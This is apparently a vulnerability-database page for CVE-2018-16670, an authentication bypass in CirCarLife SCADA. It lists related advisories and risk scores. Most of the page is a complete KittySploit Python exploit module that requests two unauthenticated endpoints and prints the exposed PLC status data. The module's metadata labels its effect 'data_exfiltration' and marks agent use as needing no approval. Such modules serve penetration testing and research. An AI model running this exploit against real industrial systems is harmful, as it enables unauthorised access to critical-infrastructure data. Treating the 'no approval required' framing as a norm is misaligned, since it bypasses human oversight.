CirCarLife Auth Bypass (CVE-2018-16670)
| Reporter | Title | Published | Views | Family All 17 |
|---|---|---|---|---|
| CirCarLife SCADA 4.3.0 - Credential Disclosure Exploit | 16 Sep 201800:00 | – | zdt | |
| CVE-2018-16670 | 8 Jul 202521:02 | – | circl | |
| CirCarlife Scada Information Disclosure Vulnerability (CNVD-2018-19569) | 19 Sep 201800:00 | – | cnvd | |
| CVE-2018-16670 | 18 Sep 201820:00 | – | cve | |
| CVE-2018-16670 | 18 Sep 201820:00 | – | cvelist | |
| CirCarLife SCADA 4.3.0 - Credential Disclosure | 12 Sep 201800:00 | – | exploitdb | |
| CirCarLife SCADA 4.3.0 - Credential Disclosure | 12 Sep 201800:00 | – | exploitpack | |
| Exploits | 9 Oct 202617:09 | – | kitploit | |
| CirCarLife <4.3 - Improper Authentication Detection | 28 Jul 202611:27 | – | kittysploit | |
| CirCarLife <4.3 - Improper Authentication | 14 Oct 202602:05 | – | nuclei |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""CirCarLife devstat auth bypass (CVE-2018-16670)."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Exploit, Http_client):
__info__ = {
'name': 'CirCarLife Auth Bypass (CVE-2018-16670)',
'description': (
'Exploits CVE-2018-16670 in CirCarLife <4.3: unauthenticated access to '
'/html/devstat.html and /services/user/values.xml exposes PLC status data.'
),
'author': ['KittySploit Team'],
'cve': ['CVE-2018-16670'],
'platform': Platform.LINUX,
'references': ['https://nvd.nist.gov/vuln/detail/CVE-2018-16670'],
'tags': ['circarlife', 'scada', 'iot', 'auth-bypass', 'vkev'],
'agent': {
'risk': 'medium',
'effects': ['data_exfiltration'],
'expected_requests': 2,
'reversible': True,
'approval_required': False,
'produces': ['admin_surface', 'tech_hints'],
'chain': {'suggested_followups': ['scanner/http/cve_2018_16670_detect']},
},
}
def check(self):
for path in ('/html/devstat.html', '/services/user/values.xml?var=STATUS'):
r = self.http_request(method='GET', path=path, allow_redirects=False)
body = (r.text or '') if r else ''
if r and r.status_code == 200 and ('Reader.STATUS' in body or 'devstat' in body.lower()):
return {'vulnerable': True, 'reason': f'CirCarLife exposed via {path}', 'confidence': 'high'}
return {'vulnerable': False, 'reason': 'CirCarLife endpoints not exposed', 'confidence': 'medium'}
def run(self):
if not self.check().get('vulnerable'):
print_error('CirCarLife not vulnerable')
return False
for path in ('/html/devstat.html', '/services/user/values.xml?var=STATUS'):
r = self.http_request(method='GET', path=path, allow_redirects=False)
if r and r.status_code == 200:
print_success(f'{path} — {len(r.text or "")} bytes')
print_status((r.text or '')[:2000])
return True
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05 Oct 2026 14:20Current
6.6Medium risk
Vulners AI Score6.6
CVSS 25
CVSS 35.3
EPSS0.24568